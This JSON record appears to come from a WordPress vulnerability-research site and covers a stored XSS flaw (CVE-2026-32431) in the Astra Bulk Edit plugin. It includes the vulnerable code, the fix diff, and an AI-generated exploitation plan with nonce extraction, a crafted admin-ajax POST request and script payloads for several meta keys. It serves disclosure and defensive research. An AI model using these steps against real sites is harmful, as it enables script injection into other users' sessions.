[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fEUCz2M4ZfnNGlWmPdAViWupSXw9yB7CgDwKnNm18bcM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-32431","astra-bulk-edit-authenticated-contributor-stored-cross-site-scripting","Astra Bulk Edit \u003C= 1.2.10 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Astra Bulk Edit plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","astra-bulk-edit",null,"\u003C=1.2.10","1.2.11","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-01 00:00:00","2026-04-15 21:03:36",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc15f171f-e9e0-42dc-9701-e14e6c42af78?source=api-prod",46,[22,23,24],"astra-bulk-edit.php","classes\u002Fclass-astra-blk-meta-boxes-bulk-edit.php","readme.txt","researched",false,3,"# Vulnerability Analysis: CVE-2026-32431 - Astra Bulk Edit Stored XSS\n\n## 1. Vulnerability Summary\nThe **Astra Bulk Edit** plugin (versions \u003C= 1.2.10) contains a stored cross-site scripting (XSS) vulnerability. The issue stems from the plugin's failure to sanitize and escape Astra-specific meta settings when they are updated through the WordPress Bulk Edit or Quick Edit interfaces. Specifically, the `Astra_Blk_Meta_Boxes_Bulk_Edit` class defines several meta options with `FILTER_DEFAULT` (effectively no sanitization) and stores them directly in the database. When the Astra theme renders these meta values on the frontend (e.g., breadcrumb settings or header displays), it does so without sufficient output escaping, allowing an authenticated attacker with Contributor-level permissions to execute arbitrary JavaScript in the context of other users' sessions.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `astra_save_post_bulk_edit`\n- **Vulnerable Parameters:** Any of the meta keys defined in `setup_bulk_options()`, such as `ast-breadcrumbs-content`, `ast-main-header-display`, or `site-sidebar-layout`.\n- **Authentication:** Contributor or higher. Contributors can typically only bulk-edit their own posts, but the stored payload will execute for any user (including Administrators) viewing the affected post.\n- **Precondition:** The **Astra theme** must be installed and active. The plugin explicitly exits if `get_template()` does not return `'astra'`.\n\n## 3. Code Flow\n1. **Entry Point:** The AJAX action `astra_save_post_bulk_edit` is registered in the constructor of `classes\u002Fclass-astra-blk-meta-boxes-bulk-edit.php`.\n2. **Nonce Verification:** The handler `save_post_bulk_edit()` calls `check_ajax_referer( 'astra-blk-nonce', 'astra_nonce' )`.\n3. **Meta Definition:** `setup_bulk_options()` defines a list of settings (e.g., `ast-breadcrumbs-content`) and assigns them `'sanitize' => 'FILTER_DEFAULT'`.\n4. **Processing (inferred from `save_meta_box` logic):** The handler iterates through the provided `post` IDs and the `self::$meta_option` array.\n5. **Insecure Sanitization:** The code uses `filter_input( INPUT_POST, $key, FILTER_DEFAULT )`. Since `FILTER_DEFAULT` is used, the raw string (including `\u003Cscript>` tags) is retrieved.\n6. **Storage:** The unsanitized value is saved to the database using `update_post_meta( $post_id, $key, $meta_value )`.\n7. **Sink:** When the post is rendered on the frontend, the Astra theme retrieves these meta values (e.g., to decide how to display breadcrumbs) and echoes them into the HTML source without `esc_html()` or `esc_attr()`.\n\n## 4. Nonce Acquisition Strategy\nThe nonce `astra-blk-nonce` is required for the AJAX request. It is localized for the bulk edit script used in the post list table.\n\n1. **Prerequisite:** Create a post as the Contributor user first.\n2. **Navigate:** Use `browser_navigate` to `wp-admin\u002Fedit.php` (the post list page).\n3. **Extraction:** The plugin localizes the nonce into a global JavaScript object. Based on Astra plugin conventions, the script handle is `astra-bulk-edit-js`.\n4. **Execution:** Use `browser_eval` to extract the nonce:\n   ```javascript\n   window.astra_bulk_edit?.nonce\n   ```\n   If that is not found, search the page source for \"nonce\" within the `astra_bulk_edit` object.\n\n## 5. Exploitation Strategy\n### Step 1: Create a Post\nUse WP-CLI to create a post authored by the contributor.\n```bash\nwp post create --post_type=post --post_status=publish --post_title=\"XSS Test Post\" --post_author=[CONTRIBUTOR_ID]\n```\n\n### Step 2: Extract Nonce\nLog in as the contributor and navigate to the post list.\n- **Tool:** `browser_navigate` to `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fedit.php`\n- **Tool:** `browser_eval(\"astra_bulk_edit.nonce\")` to get the nonce.\n\n### Step 3: Trigger AJAX Update\nSend the malicious request to inject the XSS payload into a meta field.\n- **Endpoint:** `http:\u002F\u002F[TARGET]\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```\n  action=astra_save_post_bulk_edit\n  &astra_nonce=[EXTRACTED_NONCE]\n  &post[]=[POST_ID]\n  &ast-breadcrumbs-content=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n  ```\n\n### Step 4: Trigger Execution\nNavigate to the frontend view of the post.\n- **URL:** `http:\u002F\u002F[TARGET]\u002F?p=[POST_ID]`\n\n## 6. Test Data Setup\n1. **Theme:** Activate Astra Theme.\n   `wp theme install astra --activate`\n2. **User:** Create a Contributor user.\n   `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n3. **Post:** Create a post for the attacker.\n   `wp post create --post_type=post --post_title=\"Innocent Post\" --post_author=attacker --post_status=publish`\n4. **Identify Meta Key:** Use `ast-breadcrumbs-content` as the primary injection target.\n\n## 7. Expected Results\n- The AJAX request should return a JSON success response (e.g., `{\"success\":true}`).\n- The database should reflect the malicious value in the `wp_postmeta` table.\n- Upon visiting the post, the browser should execute `alert(document.domain)`.\n\n## 8. Verification Steps\n1. **Database Check:** Verify the meta value is stored raw.\n   ```bash\n   wp post meta get [POST_ID] ast-breadcrumbs-content\n   ```\n   Expected: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n2. **HTML Source Check:** Use `http_request` to fetch the post page and grep for the payload.\n   ```bash\n   # Use the agent's http_request tool\n   # Check if the payload appears unescaped in the response body\n   ```\n\n## 9. Alternative Approaches\nIf `ast-breadcrumbs-content` does not trigger on the frontend due to site settings, try other meta keys defined in `setup_bulk_options()`:\n- `ast-main-header-display`: Often used in class names or attributes. Payload: `\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n- `site-sidebar-layout`: Often used in body classes.\n- `site-content-layout`: Often used in wrapper div classes.\n\nIf the AJAX endpoint fails, attempt to exploit the `save_meta_box` hook directly via a standard post update (`wp-admin\u002Fpost.php`) using the `astra_settings_bulk_meta_box` nonce, which is also insecurely handled in the `save_meta_box( $post_id )` function.","The Astra Bulk Edit plugin for WordPress (versions \u003C= 1.2.10) is vulnerable to Stored Cross-Site Scripting because it fails to sanitize and escape Astra-specific meta settings when they are updated through the Bulk Edit or Quick Edit interfaces. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into meta fields like breadcrumb settings, which execute in the context of any user viewing the affected page or admin dashboard.","\u002F\u002F classes\u002Fclass-astra-blk-meta-boxes-bulk-edit.php\n\u002F\u002F Lines 110-185 (setup_bulk_options method defining insecure sanitization filters)\n\tself::$meta_option = apply_filters(\n\t\t'astra_meta_box_bulk_edit_options',\n\t\tarray(\n\t\t\t'ast-above-header-display'      => array(\n\t\t\t\t'default'  => 'no-change',\n\t\t\t\t'sanitize' => 'FILTER_DEFAULT',\n\t\t\t),\n\t\t\t'ast-main-header-display'       => array(\n\t\t\t\t'default'  => 'no-change',\n\t\t\t\t'sanitize' => 'FILTER_DEFAULT',\n\t\t\t),\n      \u002F\u002F ... (other fields) ...\n\t\t\t'ast-breadcrumbs-content'       => array(\n\t\t\t\t'default'  => 'no-change',\n\t\t\t\t'sanitize' => 'FILTER_DEFAULT',\n\t\t\t),\n\t\t)\n\t);\n\n---\n\n\u002F\u002F classes\u002Fclass-astra-blk-meta-boxes-bulk-edit.php\n\u002F\u002F Lines 239-247 (save_meta_box method storing unsanitized meta values)\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_DEFAULT );\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\t\u002F\u002F Store values.\n\t\t\t\tif ( 'no-change' !== $meta_value ) {\n\t\t\t\t\tupdate_post_meta( $post_id, $key, $meta_value );\n\t\t\t\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fastra-bulk-edit\u002F1.2.10\u002Fastra-bulk-edit.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fastra-bulk-edit\u002F1.2.11\u002Fastra-bulk-edit.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fastra-bulk-edit\u002F1.2.10\u002Fastra-bulk-edit.php\t2024-04-01 08:27:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fastra-bulk-edit\u002F1.2.11\u002Fastra-bulk-edit.php\t2026-02-26 04:50:02.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: Astra Bulk Edit\n  * Plugin URI:  http:\u002F\u002Fwww.wpastra.com\u002Fpro\u002F\n  * Description: Easier way to edit Astra meta options in bulk.\n- * Version: 1.2.10\n+ * Version: 1.2.11\n  * Author: Brainstorm Force\n  * Author URI: https:\u002F\u002Fwww.brainstormforce.com\n  * Domain Path: \u002Flanguages\n@@ -19,7 +19,7 @@\n \u002F**\n  * Set constants.\n  *\u002F\n-define( 'ASTRA_BLK_VER', '1.2.10' );\n+define( 'ASTRA_BLK_VER', '1.2.11' );\n define( 'ASTRA_BLK_FILE', __FILE__ );\n define( 'ASTRA_BLK_BASE', plugin_basename( ASTRA_BLK_FILE ) );\n define( 'ASTRA_BLK_DIR', plugin_dir_path( ASTRA_BLK_FILE ) );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fastra-bulk-edit\u002F1.2.10\u002Fclasses\u002Fclass-astra-blk-meta-boxes-bulk-edit.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fastra-bulk-edit\u002F1.2.11\u002Fclasses\u002Fclass-astra-blk-meta-boxes-bulk-edit.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fastra-bulk-edit\u002F1.2.10\u002Fclasses\u002Fclass-astra-blk-meta-boxes-bulk-edit.php\t2024-04-01 08:27:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fastra-bulk-edit\u002F1.2.11\u002Fclasses\u002Fclass-astra-blk-meta-boxes-bulk-edit.php\t2026-02-26 04:50:02.000000000 +0000\n@@ -229,10 +229,6 @@\n \n \t\t\t\tswitch ( $sanitize_filter ) {\n \n-\t\t\t\t\tcase 'FILTER_SANITIZE_STRING':\n-\t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_STRING );\n-\t\t\t\t\t\tbreak;\n-\n \t\t\t\t\tcase 'FILTER_SANITIZE_URL':\n \t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_URL );\n \t\t\t\t\t\tbreak;\n@@ -241,14 +237,15 @@\n \t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_NUMBER_INT );\n \t\t\t\t\t\tbreak;\n \n+\t\t\t\t\tcase 'FILTER_SANITIZE_STRING':\n \t\t\t\t\tdefault:\n-\t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_DEFAULT );\n+\t\t\t\t\t\t\t$meta_value = isset( $_POST[ $key ] ) ? sanitize_text_field( wp_unslash( $_POST[ $key ] ) ) : '';\n \t\t\t\t\t\tbreak;\n \t\t\t\t}\n \n \t\t\t\t\u002F\u002F Store values.\n \t\t\t\tif ( 'no-change' !== $meta_value ) {\n-\t\t\t\t\tupdate_post_meta( $post_id, $key, $meta_value );\n+\t\t\t\t\tupdate_post_meta( $post_id, $key, sanitize_text_field( $meta_value ) );\n \t\t\t\t}\n \t\t\t}\n \n@@ -263,8 +260,8 @@\n \t\t\t\twp_send_json_error( esc_html__( 'Action failed. Invalid Security Nonce.', 'astra-bulk-edit' ) );\n \t\t\t}\n \n-\t\t\t$post_ids = ! empty( $_POST['post'] ) ? $_POST['post'] : array();\n-\t\t\tif ( ! empty( $post_ids ) && is_array( $post_ids ) ) {\n+\t\t\t$post_ids = ! empty( $_POST['post'] ) ? array_map( 'absint', (array) $_POST['post'] ) : array();\n+\t\t\tif ( ! empty( $post_ids ) ) {\n \n \t\t\t\t\u002F**\n \t\t\t\t * Get meta options\n@@ -280,10 +277,6 @@\n \n \t\t\t\t\t\t\tswitch ( $sanitize_filter ) {\n \n-\t\t\t\t\t\t\t\tcase 'FILTER_SANITIZE_STRING':\n-\t\t\t\t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_STRING );\n-\t\t\t\t\t\t\t\t\tbreak;\n-\n \t\t\t\t\t\t\t\tcase 'FILTER_SANITIZE_URL':\n \t\t\t\t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_URL );\n \t\t\t\t\t\t\t\t\tbreak;\n@@ -292,14 +285,15 @@\n \t\t\t\t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_SANITIZE_NUMBER_INT );\n \t\t\t\t\t\t\t\t\tbreak;\n \n+\t\t\t\t\t\t\t\tcase 'FILTER_SANITIZE_STRING':\n \t\t\t\t\t\t\t\tdefault:\n-\t\t\t\t\t\t\t\t\t\t$meta_value = filter_input( INPUT_POST, $key, FILTER_DEFAULT );\n+\t\t\t\t\t\t\t\t\t\t$meta_value = isset( $_POST[ $key ] ) ? sanitize_text_field( wp_unslash( $_POST[ $key ] ) ) : '';\n \t\t\t\t\t\t\t\t\tbreak;\n \t\t\t\t\t\t\t}\n \n \t\t\t\t\t\t\t\u002F\u002F Store values.\n \t\t\t\t\t\t\tif ( 'no-change' !== $meta_value ) {\n-\t\t\t\t\t\t\t\tupdate_post_meta( $post_id, $key, $meta_value );\n+\t\t\t\t\t\t\t\tupdate_post_meta( $post_id, $key, sanitize_text_field( $meta_value ) );\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n@@ -366,11 +360,11 @@\n \t\t\t\t\t\t$default_value = $meta[ $key ]['default'];\n \t\t\t\t\t}\n \n-\t\t\t\t\t$html .= $default_value;\n+\t\t\t\t\t$html .= esc_html( $default_value );\n \t\t\t\t\t$html .= '\u003C\u002Fdiv>';\n \t\t\t\t}\n \n-\t\t\t\techo $html; \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n+\t\t\t\techo $html; \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- All dynamic values escaped above with esc_html\u002Fesc_attr.","The exploit involves an authenticated attacker with Contributor or higher permissions targeting the Astra Bulk Edit AJAX endpoint. \n\n1. First, the attacker creates a standard post or selects an existing one they have permission to edit. \n2. The attacker navigates to the WordPress post list table (wp-admin\u002Fedit.php) and extracts the 'astra-blk-nonce' security nonce from the global JavaScript object 'astra_bulk_edit'. \n3. The attacker then sends a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'astra_save_post_bulk_edit'. \n4. The request payload includes the post ID(s) and a malicious script (e.g., \u003Cscript>alert(1)\u003C\u002Fscript>) mapped to one of the vulnerable Astra meta keys, such as 'ast-breadcrumbs-content'. \n5. Because the plugin uses FILTER_DEFAULT, the raw script is saved to the database. \n6. The payload executes when an administrator views the post list in the backend or when any user visits the frontend page where the Astra theme renders the meta value.","gemini-3-flash-preview","2026-04-18 22:15:35","2026-04-18 22:16:03",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","1.2.10","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fastra-bulk-edit\u002Ftags\u002F1.2.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fastra-bulk-edit.1.2.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fastra-bulk-edit\u002Ftags\u002F1.2.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fastra-bulk-edit.1.2.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fastra-bulk-edit\u002Ftags"]